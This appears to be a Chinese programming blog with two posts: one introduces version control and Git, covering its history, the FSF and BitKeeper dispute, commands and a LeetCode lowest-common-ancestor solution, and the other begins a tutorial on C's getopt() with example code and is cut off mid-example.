你：不放鸡丁放牛肉还是宫保鸡丁吗？您确定要这样吗？
客人：这很难吗？无非是把鸡丁换成牛肉，别的该怎么做还是怎么做，这很难吗．
你：好吧．

此时，你默默的从锅中挑出即将炒熟的鸡丁，换成牛肉丁

客人：你怎么这么慢？要不算了，还是放鸡丁吧？我都要饿死了，怎么快怎么来？！
你：……

此时，你默默从锅中挑出即将炒熟的牛肉丁，把鸡丁放回去

据说这很像程序员们遇到的犹豫不定的客户，频繁的改动需求导致项目反复改动．

虽然版本控制无助于开发新的功能，但在使用了版本控制之后，至少在客户改动需求又反悔时，版本控制能让开发者快速的投入新的开发工作，而不是花费大量精力把已有的改动还原回去（当然，这只是使用版本控制的好处之一）．

通常来说，大多数软件提供的撤销功能是有很多不足的．

  • 无法直接撤销至任意一步，只能逐步撤销
  • 无法撤销至这次打开软件之前的版本，撤销的步数受限
  • 不能保存撤销和重做的记录
  • 撤销后的修改会影响撤销，无法保留现有修改的同时撤销过去的修改

当然，会有聪明的人说：「何必这么麻烦，我提前复制一份就好．」

不可否认，这通常是一个有效的做法，但也会带来一些麻烦．

一个1MB左右的文件通过复制备份10个版本也才10MB．但1GB的文件通过复制的方式备份10份就要10GB了．

danger
WARNING
虽然笔者用备份作为说明版本控制的一个例子，版本控制在某种程度上来说具有备份的作用，备份在某种程度上来说也实现了版本控制，但这也只是说明两者的作用有交集，切不可混为一谈．笔者此处使用这种说法只是为了帮助对版本控制感到陌生的读者理解版本控制的部分作用，请原谅笔者这种不太严谨的做法．

通过复制备份原文件，手动完成版本控制，在文件大小近似不变的情况下，所需要的空间和复制次数具有线性相关关系，长期依靠复制完成版本控制不是一个好的办法．

secondary
INFO

截至 2020-12-03 03:13：08 ，Linux 内核源码树（Linux kernel source tree）有968,247 次提交（commits），在Github上仅存储了2.94GB的数据．

https://github.com/torvalds/linux

在多人协作的时候，使用版本控制系统具有更多的优势．

  • 保留了每次修改的结果，方便的对比查看不同版本之间的差异
  • 方便的查看他人修改了什么内容
  • 方便的查看文件内容的修改者
  • 允许对所有参与者划分权限，禁止部分人修改部分重要内容
  • 进行代码审核(Code Review)

在网络上，用户能方便的下载同一个软件的不同版本，以Google Chrome为例，在Chrome官网上有Chrome、Chrome Dev、Chrome Canary这些不同的版本．

Chrome
Chrome Dev
Chrome Canary

将同一个软件根据稳定性和需求分成不同版本提供给不同的群体是十分常见的现象．但在chromium的源码仓库却会发现Google并非把Chrome、Chrome Dev、Chrome Canary当作三个程序来维护，而是通过使用版本控制轻松的避免了提供三个版本的软件所带来的麻烦，这一切都是这样的理所当然．

为什么选择Git

  • Git 是基于GPLv2的自由软件(free software)（Git 的部分内容不是基于GPLv2的，但是也基于一个与GPLv2兼容的协议），Git是软件自由保护组织(Software Freedom Conservancy)的子项目
  • Git 是Linus Torvalds为维护Linux Kernel设计的工具

Git本就是为程序开发设计的版本控制系统，比其他的版本控制系统更适合程序开发的需求

除此之外，Git 还拥有这些特点

  • 速度
  • 简单的设计
  • 对非线性开发模式的强力支持（允许成千上万个并行开发的分支）
  • 完全分布式
  • 有能力高效管理类似 Linux 内核一样的超大规模项目（速度和数据量）

Git 日臻成熟完善，在高度易用的同时，仍然保留着初期设定的目标．
它的速度飞快，极其适合管理大项目，有着令人难以置信的非线性分支管理系统[2]

Software Freedom Conservancy的更多信息> 软件自由保护组织（Software Freedom Conservancy，简称SFC）是一个旨在为自由开源软件项目提供支持和基础设施的非营利组织，成立于2006年． [1]

Git 的历史

Linux 内核开源项目有着为数众多的参与者． 绝大多数的 Linux 内核维护工作都花在了提交补丁和保存归档的繁琐事务上（1991－2002年间）．到 2002 年，整个项目组开始启用一个专有的分布式版本控制系统 BitKeeper 来管理和维护代码．[2]

因为BitKeeper为专有软件，这个决定在社区中长期遭受质疑．在Linux社区中，特别是理查德·斯托曼与自由软件基金会的成员，主张应该使用开放源代码的软件来作为Linux内核的版本控制系统．林纳斯·托瓦兹曾考虑过采用现成软件作为版本控制系统（例如Monotone），但这些软件都存在一些问题，特别是性能不佳．现成的方案，如CVS的架构，受到林纳斯·托瓦兹的批评．[3]

info

INFO

补充资料1

FSF 遵循这样的规则：我们不能在自己的计算机上安装任何专有软件，除非暂时性地用于一种特定用途，即编写一个自由软件来取代它．除此之外，我们感觉没有任何可能的借口来安装一款专有软件．

例如，在 20 世纪 80 年代，我们认为在我们的计算机上安装 Unix 是合理的，由于我们需要用它编写一个可以取代 Unix 的自由操作系统．而现在，由于自由的操作系统已经有了，因此这一借口不再适用；我们不会使用任何专有操作系统，并且我们所组装的任何一台新计算机都必须运行一款完全自由的操作系统．[4]

补充资料2

Bitkeeper议题
（参看下面的最后更新．）

使用Bitkeeper作为Linux源码的储存工具对于自由软件社区具有重大的影响，因为任何想要密切追踪Linux修定版本的人只能安装该非自由软件才行．肯定至少有数十或甚至数百名的内核黑客已经这么做了．他们之中大部份的人已经渐渐地说服了自己使用非自由软件是没有关系的，以避免在自己电脑上装有Bitkeeper带来的认知冲突造成的不良感觉．对此我们可以做些什么呢？

一个解决方式是为Linux源码设定另一个储存库，使用CVS或其他自由的版本控制系统，并设置新版本自动加载．这样可以使用Bitkeeper来对最新的版本进行存取，然后再将新的版本安装到CVS中．这种更新操作可以自动且频繁地运行．

自由软件基金会不能这样做，因为我们不能在我们的机器上安装Bitkeeper．我们的机器上现在没有非自由的系统或应用程序，而且我们的原则也是必须维持这种方式．运行Bitkeeper储存工具的操作需要某个愿意将Bitkeeper安装在他的机器上的人，除非有人可以找出或做出一个使用自由软件来运作的方式．

Linux源码本身有着更严重的问题：它们实际上包含一些非自由软件．相当多的设备驱动程序包含了代表固件程序的数组，它们会被安装在这些装置内．这些程序不是自由软件．在设备寄存器写入的数据是一件事；大量二进制代码是另外一回事．

在Linux“源码”文件中出现的这些只有二进制形式的程序，造成了另一个问题：那就是，Linux的二进制码到底是否可以合法地再发布．GPL要求“完备的相关源码”，而数字字符串并非源码．按照相同理由，添加这样的二进制码到Linux源码违反了GPL的规定．

Linux开发者有个项目是将这些固件程序转移到单独的文件中；该项目需要数年的时间才会成熟，不过当其完成时将会解决这个问题；我们可以作出一个“自由的Linux”版本，而其中不包括任何非自由的固件程序．但是如果大多数人都在使用非自由的“官方”Linux版本，那么该项目本身并没有什么用处．这很有可能发生，因为自由版本在许多平台上，如果没有非自由的固件都将无法运行．“自由的Linux”工程将不得不弄明白这些固件究竟做些什么，并且为它之编写源码，也许要以汇编语言为要运行的嵌入式处理器平台来撰写．这将会是件极其艰巨的工作．但是如果我们在早几年就开始一点一滴地进行，而不是等它堆积起来，它就不那么艰巨了．通过招募人员来进行这项工作，我们将不得不克服由某些Linux开发者所散播的“这件工作是不必要的”观念．

作为内核的Linux通常被视为自由软件的旗舰，然而它目前的版本却有一部份是非自由的．为什么会这样？就像决定使用Bitkeeper的问题一样，这个问题反应出了Linux原始开发者的态度，就是认为“技术上更好”比自由更重要．

历史告诉我们：珍惜你的自由，否则你将会失去它．以“不要以政治来烦我们”作为回应的人，是那些不愿接受教训的人．

最后更新：从2005年起，Linux内核的源代码不再使用BitKeeper管理．参看文章，致谢Larry McVoy．Linux源代码仍然含有非自由的固件blobs，但是在2008年1月，我们维护了一个自由版的Linux，并被自由的GNU/Linux发行版使用．[5]

Free Software Foundation的更多信息>「自由软件基金会（FSF）是一个非盈利组织．我们的使命是在全球范围内促进计算机用户的自由．我们捍卫所有软件用户的权利．」[6]

生活在当今的人们可能难以体会自由软件运动中对软件自由的向往和追求．即使在当时，也有很多人自由软件运动中追求的自由表示不解与不懈，但笔者身为GNU/Linux与Git的使用者和受益者，凭借自己对Open Free Share的些许感悟对他们曾经作出的一切表示挚诚的感谢和深深的敬意．

2005年，安德鲁·垂鸠写了一个简单程序，可以连接BitKeeper的存储库，BitKeeper著作权拥有者拉里·麦沃伊认为安德鲁·垂鸠对BitKeeper内部使用的协议进行逆向工程，决定收回无偿使用BitKeeper的许可．Linux内核开发团队与BitMover公司进行磋商，但无法解决他们之间的歧见．林纳斯·托瓦兹决定自行开发版本控制系统替代BitKeeper，以十天的时间编写出git第一个版本．[3]

使用Git

本文不介绍如何通过图形化界面来使用Git，本文只讨论Git在终端中的使用．

Git 基础

Git项目的不同阶段[13]

Git有三种状态，你的文件可能处于其中之一：已提交（committed）、已修改（modified）和已暂存（staged）．
已修改表示修改了文件，但还没保存到数据库中．
已暂存表示对一个已修改文件的当前版本做了标记，使之包含在下次提交的快照中．
已提交表示数据已经安全地保存在本地数据库中．[13]

文件的状态变化周期[2]

  • init

为了在没有使用过Git的项目中使用Git，首先需要完成初始化Git仓库

在终端内，将工作目录切换至项目的目录，便可使用git init命令完成对Git仓库的初始化．

  • clone

任何人都可以从Github或者其他平台上获取使用Git版本控制的项目．

只需要使用git clone <url>就可以完整的获取url所对应的项目的所有源码以及所有的改动历史．

  • status

使用git status能查看git仓库的修改状态．

  • log

使用git log能查看git仓库的日志．日志中包括了很多信息．

  • diff

该命令会显示Git仓库中和上次提交相比已被修改的文件．

  • add

使用命令 git add 开始跟踪一个文件． 所以，要跟踪 README 文件，运行：

$ git add README
此时再运行 git status 命令，会看到 README 文件已被跟踪，并处于暂存状态：

$ git status
On branch master
Your branch is up-to-date with ‘origin/master’.
Changes to be committed:
(use “git restore —staged…” to unstage)

new file: README
只要在 Changes to be committed 这行下面的，就说明是已暂存状态． 如果此时提交，那么该文件在你运行 git add 时的版本将被留存在后续的历史记录中． 你可能会想起之前我们使用 git init 后就运行了 git add命令，开始跟踪当前目录下的文件． git add 命令使用文件或目录的路径作为参数；如果参数是目录的路径，该命令将递归地跟踪该目录下的所有文件．[2]

  • commit

git commit命令用来提交已经暂存的更改．

参数 -m message 附加提交信息
参数 -S 在提交中，使用GnuPG签名

Git 进阶用法

上面的那些操作只是Git的基础用法，不能发挥Git的功能的绝大部分功能．
下面笔者来介绍Git的高阶用法．

检出
  • 清空暂存区

git checkout HEAD

  • 检出至某一版本

git checkout <ref>
git checkout <commit>

1
2
3
graph LR
    C5-->C4-->C3-->C2-->C1-->C0;
    F((master))-->C4;

<ref>可以是一个分支名称，也可以是一个相对引用，下面是相对引用的语法

使用 A^ 指代 A 之前的第 1 个提交记录，如 master^ 指master的前驱，即C3
使用 A^^ 指代 A 之前的第 2 个提交记录，如 master^^ 指master的前驱的前驱，即C2
使用 A^^^ 指代 A 之前的第 3 个提交记录，如 master^^^ 指master的前驱的前驱的前驱，即C1

……

笔者相信读者们不会喜欢用A^^^^指代 A 之前的第 4 个提交记录，因为这个命令实在太长了，下面有更简单的命令

使用 A~n 指代 A 之前的 n 个提交记录，如 master~2 指master的前驱的前驱，等价于A^^，即C2；master~4 指master的前驱的前驱的前驱的前驱，等价于A^^^^，即C0．

分支管理

为什么需要分支管理？开发中常常会有突发事件，加入你正在开发新的功能，但突然发现已有的程序存在严重的bug，你不得不紧急修复它．在开发中，提交不完整的代码会对项目的其他参与者造成巨大的影响．这不是一个正确的行为．那么你该怎么办？
如果没有分支管理，你可能会将未完成的代码删除，或者回退至过去的版本，但这可是你的心血．你还有可能复制一份现在的代码作为备份，然后把代码回退至过去的版本
但有了分支管理，这些问题都消失了．

实际工作中你可能会用到类似的工作流． 你将经历如下步骤：

  1. 开发某个网站．
  2. 为实现某个新的用户需求，创建一个分支．
  3. 在这个分支上开展工作．
    正在此时，你突然接到一个电话说有个很严重的问题需要紧急修补．
    你将按照如下方式来处理：
  4. 切换到你的线上分支（production branch）．
  5. 为这个紧急任务新建一个分支，并在其中修复它．
  6. 在测试通过之后，切换回线上分支，然后合并这个修补分支，最后将改动推送到线上分支．
  7. 切换回你最初工作的分支上，继续工作．[9]
  • git branch <branch>创建新的分支
  • git checkout <branch>切换至已创建的新分支

这两条命令连续使用的情况可简化为：git checkout -b <branch> 创建并切换至新的分支

  • git branch -d <branch>删除一个分支
合并(merge)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gitGraph:
options
{
    "nodeSpacing": 150,
    "nodeRadius": 10
}
end
commit
branch dev
checkout dev
commit
checkout master
commit
commit
merge dev
commit

如图，上图中dev分支的内容被合并至了master分支．

使用git merge <branch>可以指定的分支合并至当前分支．
Git在无冲突的情况下可以自动合并两个分支的更改．但Git并不总是能自动完成合并，当遇到合并冲突时，需要手动解决冲突才能完成合并．

变基(rebase)
1
2
3
4
5
graph LR
    C3-->C2-->C1-->C0;
    C5-->C4-->C2;
    F((master))-->C3;
    G((dev))-->C5;

Git的rebase功能允许使用者修改过去的Git提交历史，也提供一种比 merge 更易理解的方式处理提交内容的合并的需求．例如上图中，通过git rebase master dev指令，Git能分析dev分支中C4和C5中的改动，并在master分支上重复这些改动，实现下图中的效果．

1
2
3
4
5
6
graph LR
    C3-->C2-->C1-->C0;
    C5-->C4-->C2;
    C5'-->C4'-->C3;
    F((master))-->C3;
    G((dev))-->C5';

cherry-pick

通过git cherry-pick <commit>便可将一次提交复制至HEAD所指向的位置之后．

1
2
3
4
5
graph LR
    C3-->C2-->C1-->C0;
    C5-->C4-->C2;
    F((master*))-->C3;
    G((dev))-->C5;

在上图的情况中，使用git cherry-pick C4便可以将C4的提交内容复制至C3之后．实现下图中的效果．

1
2
3
4
5
graph LR
    C4'-->C3-->C2-->C1-->C0;
    C5-->C4-->C2;
    F((master))-->C4';
    G((dev))-->C5;

远程分支

远程引用是对远程仓库的引用（指针），包括分支、标签等等． 你可以通过 git ls-remote来显式地获得远程引用的完整列表， 或者通过 git remote show获得远程分支的更多信息． 然而，一个更常见的做法是利用远程跟踪分支．

它们以/的形式命名． 例如，如果你想要看你最后一次与远程仓库 origin 通信时 master 分支的状态，你可以查看 origin/master 分支． 你与同事合作解决一个问题并且他们推送了一个 iss53 分支，你可能有自己的本地 iss53 分支， 然而在服务器上的分支会以 origin/iss53 来表示．[10]

  • git remote add <remote>添加远程仓库
  • git fetch <remote> 从远程仓库拉取数据并更新远程分支所指向的位置，但不更新本地分支所指向的位置
  • git pull从远程仓库获取数据并与本地分支合并．等价于执行git fetch <remote>之后执行git merge <branch>
  • git push <remote> <branch>将分支推送至远程仓库
  • git checkout --track <remote>/<branch>为当前的本地分支设置上游分支
  • git push <remote> --delete <branch>删除远程分支

版本回退

本地版本回退
git reset <commit>
git reset <ref>

读者可能会感到这个命令与checkout十分相似，事实确实如此，不但命令相似，作用也是相似的．在checkout命令中，命令仅改变了HEAD所指向的位置，但在reset命令中命令还会改变HEAD所指向的分支的位置．

远程版本的回退

已经推送至远程仓库的提交并不能使用reset进行回退，如果你尝试过这样做就会发现Git会提示你，你的本地分支落后与远程分支，让你拉取远程的提交记录．拉取之后被reset的记录又被恢复了，所以不该使用reset去回退远程的分支．

git revert <commit>
git revert <ref>

正确的做法是使用使用revert功能．这个功能并不像reset那样，他会保留revert的记录和revert之前commit的记录．读者们可以理解为revert不是回退，而是把用新的提交把原来提交的内容改回去．

Git 练习

与别的技术一样，想要灵活的掌握Git的用法离不开适当的练习．在个人的开发中使用Git只是一个方面，笔者推荐完成learngitbranching上面的练习，这是学习Git的有效途径．

Git 原理

Git 存储文件的快照

Git存储文件的快照[13]

Git更像是把数据看作是对小型文件系统的一系列快照．在Git中，每当你提交更新或保存项目状态时，它基本上就会对当时的全部文件创建一个快照并保存这个快照的索引．为了效率，如果文件没有修改，Git不再重新存储该文件，而是只保留一个链接指向之前存储的文件．Git对待数据更像是一个快照流．[13]

Git 引用

如果你对仓库中从一个提交（比如 1a410e）开始往前的历史感兴趣，那么可以运行 git log 1a410e 这样的命令来显示历史，不过你需要记得 1a410e 是你查看历史的起点提交． 如果我们有一个文件来保存 SHA-1 值，而该文件有一个简单的名字， 然后用这个名字指针来替代原始的 SHA-1 值的话会更加简单．

在 Git 中，这种简单的名字被称为「引用（references，或简写为 refs）」． 你可以在 .git/refs 目录下找到这类含有 SHA-1 值的文件． 在目前的项目中，这个目录没有包含任何文件，但它包含了一个简单的目录结构：

1
2
3
4
5
$ find .git/refs
.git/refs
.git/refs/heads
.git/refs/tags
$ find .git/refs -type f

[8]

Git 的分支的本质就是：

一个指向某一系列提交之首的指针或引用[8]

最近公共祖先(LCA,Lowest Common Ancestor)

Git 在执行rabase操作时，涉及寻找两个分支的最近公共祖先的问题．

1
2
3
4
5
graph LR
    C3-->C2-->C1-->C0;
    C5-->C4-->C2;
    F((master))-->C3;
    G((dev))-->C5;

例如在使用git rebase master dev 时查找C3和C5找到的最近公共祖先，才能实现下图的效果．

1
2
3
4
5
6
graph LR
    C3-->C2-->C1-->C0;
      C5-->C4-->C2;
    C5'-->C4'-->C3;
    F((master))-->C3;
    G((dev))-->C5';

请看 LeetCode-236.二叉树中的最近公共祖先 ．

实现如下：

我描述一下lowestCommonAncestor这个函数的「定义」吧．

描述：给该函数输入三个参数root，p，q，它会返回一个节点．
情况 1，如果p和q都在以root为根的树中，函数返回的即使p和q的最近公共祖先节点．
情况 2，那如果p和q都不在以root为根的树中怎么办呢？函数理所当然地返回null呗．
情况 3，那如果p和q只有一个存在于root为根的树中呢？函数就会返回那个节点．

题目说了输入的p和q一定存在于以root为根的树中，但是递归过程中，以上三种情况都有可能发生，所以说这里要定义清楚，后续这些定义都会在代码中体现．
OK，第一个问题就解决了，把这个定义记在脑子里，无论发生什么，都不要怀疑这个定义的正确性，这是我们写递归函数的基本素养．
然后来看第二个问题，这个函数的参数中，变量是什么？或者说，你描述一个这个函数的「状态」吧．
描述：函数参数中的变量是root，因为根据框架，lowestCommonAncestor(root)会递归调用root.left和root.right；至于p和q，我们要求它俩的公共祖先，它俩肯定不会变化的．
第二个问题也解决了，你也可以理解这是「状态转移」，每次递归在做什么？不就是在把「以root为根」转移成「以root的子节点为根」，不断缩小问题规模嘛？
最后来看第三个问题，得到函数的递归结果，你该干嘛？或者说，得到递归调用的结果后，你做什么「选择」？
这就像动态规划系列问题，怎么做选择，需要观察问题的性质，找规律．那么我们就得分析这个「最近公共祖先节点」有什么特点呢？刚才说了函数中的变量是root参数，所以这里都要围绕root节点的情况来展开讨论．
先想 base case，如果root为空，肯定得返回null．如果root本身就是p或者q，比如说root就是p节点吧，如果q存在于以root为根的树中，显然root就是最近公共祖先；即使q不存在于以root为根的树中，按照情况 3 的定义，也应该返回root节点．
以上两种情况的 base case 就可以把框架代码填充一点了：

1
2
3
4
5
6
7
TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
   // 两种情况的 base case
   if (root == null) return null;
   if (root == p || root == q) return root;
   TreeNode left = lowestCommonAncestor(root.left, p, q);
   TreeNode right = lowestCommonAncestor(root.right, p, q);
}

现在就要面临真正的挑战了，用递归调用的结果left和right来搞点事情．根据刚才第一个问题中对函数的定义，我们继续分情况讨论：
情况 1，如果p和q都在以root为根的树中，那么left和right一定分别是p和q（从 base case 看出来的）．
情况 2，如果p和q都不在以root为根的树中，直接返回null．
情况 3，如果p和q只有一个存在于root为根的树中，函数返回该节点．
明白了上面三点，可以直接看解法代码了：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
   // base case
   if (root == null) return null;
   if (root == p || root == q) return root;
   TreeNode left = lowestCommonAncestor(root.left, p, q);
   TreeNode right = lowestCommonAncestor(root.right, p, q);
   // 情况 1
   if (left != null && right != null) {
       return root;
   }
   // 情况 2
   if (left == null && right == null) {
       return null;
   }
   // 情况 3
   return left == null ? right : left;
}

对于情况 1，你肯定有疑问，left和right非空，分别是p和q，可以说明root是它们的公共祖先，但能确定root就是「最近」公共祖先吗？
这就是一个巧妙的地方了，因为这里是二叉树的后序遍历啊！前序遍历可以理解为是从上往下，而后序遍历是从下往上，就好比从p和q出发往上走，第一次相交的节点就是这个root，你说这是不是最近公共祖先呢？[7]

参考资料

1. 维基百科编者. 软件自由保护组织[G/OL]. 维基百科, 2019(20191114)[2019-11-14]. https://zh.wikipedia.org/w/index.php?title=%E8%BD%AF%E4%BB%B6%E8%87%AA%E7%94%B1%E4%BF%9D%E6%8A%A4%E7%BB%84%E7%BB%87&oldid=56869590. ↩
2. 起步- Git 简史.[G/OL].Git Book. https://git-scm.com/book/zh/v2/%E8%B5%B7%E6%AD%A5-Git-%E7%AE%80%E5%8F%B2 ↩
3. 维基百科编者. Git[G/OL]. 维基百科, 2020(20201106)[2020-11-06]. https://zh.wikipedia.org/w/index.php?title=Git&oldid=62682388. ↩
4. 自由与非自由软件的分类 https://www.gnu.org/philosophy/categories.zh-cn.html ↩
5. Linux、GNU和自由 https://www.gnu.org/philosophy/linux-gnu-freedom.zh-cn.html ↩
6. https://www.gnu.org/ ↩
7. labuladong. 用 Git 来讲讲二叉树最近公共祖先[G/OL]. 微信公众号—labuladong, 2020(20200609)[2020-06-09]. http://mp.weixin.qq.com/s?__biz=MzAxODQxMDM0Mw==&mid=2247485561&idx=1&sn=a394ba978283819da1eb34a256f6915b ↩
8. Git 内部原理 - Git 引用.[G/OL].Git Book. https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%BC%95%E7%94%A8 ↩
9. Git 分支 - 分支的新建与合并.[G/OL].Git Book. https://git-scm.com/book/zh/v2/Git-%E5%88%86%E6%94%AF-%E5%88%86%E6%94%AF%E7%9A%84%E6%96%B0%E5%BB%BA%E4%B8%8E%E5%90%88%E5%B9%B6 ↩
10. Git 分支 - 远程分支.[G/OL].Git Book. https://git-scm.com/book/zh/v2/Git-%E5%88%86%E6%94%AF-%E8%BF%9C%E7%A8%8B%E5%88%86%E6%94%AF ↩
11. https://learngitbranching.js.org/?locale=zh_CN ↩
12. https://github.com/pcottle/learnGitBranching ↩
13. 起步- Git 是什么？.[G/OL].Git Book.https://git-scm.com/book/zh/v2/%E8%B5%B7%E6%AD%A5-Git-%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F ↩
发表Dev29 分钟读完 (大约4325个字)

命令行参数的解析

info
LICENSE
本文使用 GNU通用公共许可证 v3（GNU General Public License, version 3） 发布．

命令行参数的解析

真巧，在笔者近日的程序设计实践中又涉及到了命令行参数，笔者便再谈谈他．因单篇博客不宜过长，该内容将拆分在一系列博文中，该系列博文中，笔者将只讨论 getopt() 、 getopt_long() 、 getopt_long_only() 的使用，不涉及其他方案．

getopt() 的基本信息

1
2
3
4
#include <unistd.h>
int getopt(int argc, char *const argv[], const char *optstring);
extern char *optarg;
extern int optind, opterr, optopt;

上面有 getopt() 函数的函数原型和相关全局变量，注意使用 getopt() 函数需要包含 unistd.h．

getopt() 被用来处理遵循 Single UNIX Specification 的命令行参数

Single UNIX Specification 要求[1]：

  • 限制每个命令行选项为一个单一的阿拉伯字符

  • 所有选项必须以 - 作为开头字符

举例来说就是getopt()可用于处理 command -t 123 -p 456.txt -uroot 这类命令，而不能用于 command --times 123 --path 456.txt --userroot ．

getopt()的参数

argv、argc

这两个参数即为待解析的命令行参数的计数和指向字符串存储位置的指针数组．这两个参数的实参通常作为int main(int argc,char *argv[])的参数传入程序．对该处有疑问的读者可参考笔者的博文命令行参数的误解．

optstring

optstring是一个字符串，用来说明预期的命令行参数的格式．它的作用可能有点类似 scanf() 中转换说明的作用．

optstring is a string containing the legitimate option characters. If such a character is followed by a colon, the option requires an argument, so getopt() places a pointer to the following text in the same argv-element, or the text of the following argv-element, in optarg. Two colons mean an option takes an optional arg

  • if there is text in the current argv-element (i.e., in the same word as the option name itself, for example, −oarg), then it is returned in optarg, otherwise optarg is set to zero. This is a GNU extension.
  • If optstring contains W followed by a semicolon, then −W foo is treated as the long option −−foo. (The −W option is reserved by POSIX.2 for implementation extensions.) This behavior is a GNU extension, not available with libraries before glibc 2.

optstring 是包含合法选项字符的字符串．如果此类字符后接 : ，则该选项需要一个参数，因此 getopt() 将指针指向位于同一 argv 元素中的后续文本，或位于 argarg 中的后续 argv 元素的文本． :: 表示一个选项带有一个可选的参数

  • 如果当前argv元素中有文本( 例如与选项名称本身相同的词，例如 -oarg )，则将其以 optarg 返回，否则 optarg 设置为 0．这是一个 GNU 扩展 ．
  • 如果 optstring 包含 W 后跟一个分号，则将 -W foo 视为长选项 --foo ．( -W 选项由 POSIX.2 保留用于实现扩展．)此行为是 GNU 扩展 ，不适用于 glibc 2 之前的库．

getopt()的返回值

  • If an option was successfully found, then getopt() returns the option character.

  • If all command-line options have been parsed, then getopt() returns −1.

  • If getopt() encounters an option character that was not in optstring, then ? is returned.

  • If getopt() encounters an option with a missing argument, then the return value depends on the first character in optstring:

    • if it is :, then : is returned
    • otherwise ? is returned.[3]

用笔者糟糕的英语勉强翻译一下：

warning

受限于笔者低劣的英文水平，笔者的翻译可能存在众多谬误，更无法做到 信、达、雅 的要求．笔者提供的翻译内容仅供参考．建议读者自行翻译或直接阅读英文原文．笔者不为本文中翻译内容的准确性负责．

  • 如果一个选项被成功的找到，getopt() 返回这个选项的字母

  • 如果完成了所有的选项的解析，getopt() 将返回 -1

  • 如果发现不在 optstring 中的选项，则返回 ?
  • 如果发现丢失参数的选项，返回值取决于 optstring[0]：
    • 如果 optstring[0] 是 :，则返回 :
    • 否则返回 ?，即 return optstring[0] == ':' ? ':' : '?';

getopt() 的扫描模式

  • If the first character of optstring is + or the environment variable POSIXLY_CORRECT is set, then option processing stops as soon as a nonoption argument is encountered.
  • If the first character of optstring is −, then each nonoption argv-element is handled as if it were the argument of an option with character code 1. (This is used by programs that were written to expect options and other argv-elements in any order and that care about the ordering of the two.)
  • The special argument −− forces an end of option-scanning regardless of the scanning mode.[3]

还是由笔者来翻译一下

  • 如果 optstring[0] 是 + 或者 环境变量 POSIXLY_CORRECT 被设置，则 getopt() 将会在遇到非 optsting 中的选项时停止．

  • 如果 optstring[0] 是 - ,则任何一个非选项的 argv 中的元素将被按照 ASCII 编码 为 1 的字符处理．（这常被用于期待 选项 和 argv 的元素 按某种顺序排列并关注两者的顺序的程序 ）

  • 特殊的参数 -- 将强制结束选项扫描，无论扫描模式是什么．

请看示例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* getopt1.c */
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
    int ch;
    // opterr = 0;
    while ((ch = getopt(argc, argv, "a:b:c::d::e::fxg:")) != -1)
    {
        printf("    ch\t函数的返回值\t%c\n", ch);
        printf("optarg\t当前选项的参数\t%s\n", optarg);
        printf("optind\t指向下个字符串\t%d\n", optind);
        printf("argv[optind]\t\t%s\n", argv[optind]);
        printf("optopt\t指向出错字符串\t%d\n", optopt);
        printf("opterr\t若出错输出消息\t%d\n", opterr);
        printf("\n");
    }
}

请读者们编译后以参数 -a -- -c-- -- -g 运行程序．

笔者得到的输出内容
1
2
3
4
5
6
7
8
9
10
11
12
13
    ch  函数的返回值    a
optarg  当前选项的参数  --
optind  指向下个字符串  3
argv[optind]            -c--
optopt  指向出错字符串  0
opterr  若出错输出消息  1

    ch  函数的返回值    c
optarg  当前选项的参数  --
optind  指向下个字符串  4
argv[optind]            --
optopt  指向出错字符串  0
opterr  若出错输出消息  1

请读者注意：-- 作为 选项的参数 被读取时 getopt() 正常的的返回 选项字符 ，但当 -- 不作为 选项的参数 被读取时，getopt() 返回值为 -1 ,循环中止．

danger

The use of + and - in optstring is a GNU extension.[3]

在 optstring中使用+ 和 - 是一个 GNU 扩展．

这意味着使用+ 和 -的程序在不兼容 GNU 扩展 的编译器上 可能 无法正常的编译或运行．

如果在编译中使用了的-std=c99 、-std=c11 等指定 C语言标准 的编译选项需对应替换成 -std=gnu99 、-std=gnu11 ．

getopt() 的错误处理

While processing the option list, getopt() can detect two kinds of errors:

  1. an option character that was not specified in optstring

  2. a missing option argument (i.e., an option at the end of the command line without an expected argument).

Such errors are handled and reported as follows:

  • By default, getopt() prints an error message on standard error, places the erroneous option character in optopt, and returns ? as the function result.

  • If the caller has set the global variable opterr to zero, then getopt() does not print an error message. The caller can determine that there was an error by testing whether the function return value is ?. (By default, opterr has a nonzero value.)

  • If the first character (following any optional + or − described above) of optstring is a colon (:), then getopt() likewise does not print an error message. In addition, it returns : instead of ? to indicate a missing option argument. This allows the caller to distinguish the two different types of errors.[3]

笔者翻译成中文便是

在处理选项列表时， getopt() 可以检测两种错误：

  1. 未在 optstring 中指定的选项字符

  2. 选项缺少参数（例如，命令行末尾没有预期参数的选项）

这些错误的处理和报告如下：

  • 默认情况下，getopt() 会在标准错误上显示一条错误消息，将错误的选项字符放入 optopt ，然后返回 ? 作为函数结果．
  • 如果调用者已将全局变量 opterr 设置为零，则 getopt() 不会输出错误消息． 调用方可以通过测试函数返回值是否为 ? 来确定是否存在错误．(默认情况下， opterr 具有非零值．)
  • 如果optstring的第一个字符（上述任意可选的 + 或 - 之后）是冒号(:)，则getopt()同样不会输出错误消息． 另外，它返回:而不是?表示缺少选项参数． 这使调用者可以区分两种不同类型的错误．

与 getopt() 相关的全局变量

其后，来讨论与 getopt() 相关的 4 个 全局变量 ．

optarg 如果一个选项需要参数，在处理该选项时，getopt会设置optarg指向该选项的参数字符串．

opterr 如果一个选项发生了错误，getopt会默认打印一条出错消息．应用程序可以通过设置opterr参数为0来禁止这个行为．

optind 用来存放下一个要处理的字符串在argv数组里的下标．它从1开始，每处理一个参数，getopt都会对其递增1．

optopt 如果处理选项时发生了错误，getopt会设置optopt指向导致出错的选项字符串．[1]

请看示例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* getopt1.c */
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
    int ch;
    // opterr = 0;
    while ((ch = getopt(argc, argv, "a:b:c::d::e::fxg:")) != -1)
    {
        printf("    ch\t函数的返回值\t%c\n", ch);
        printf("optarg\t当前选项的参数\t%s\n", optarg);
        printf("optind\t指向下个字符串\t%d\n", optind);
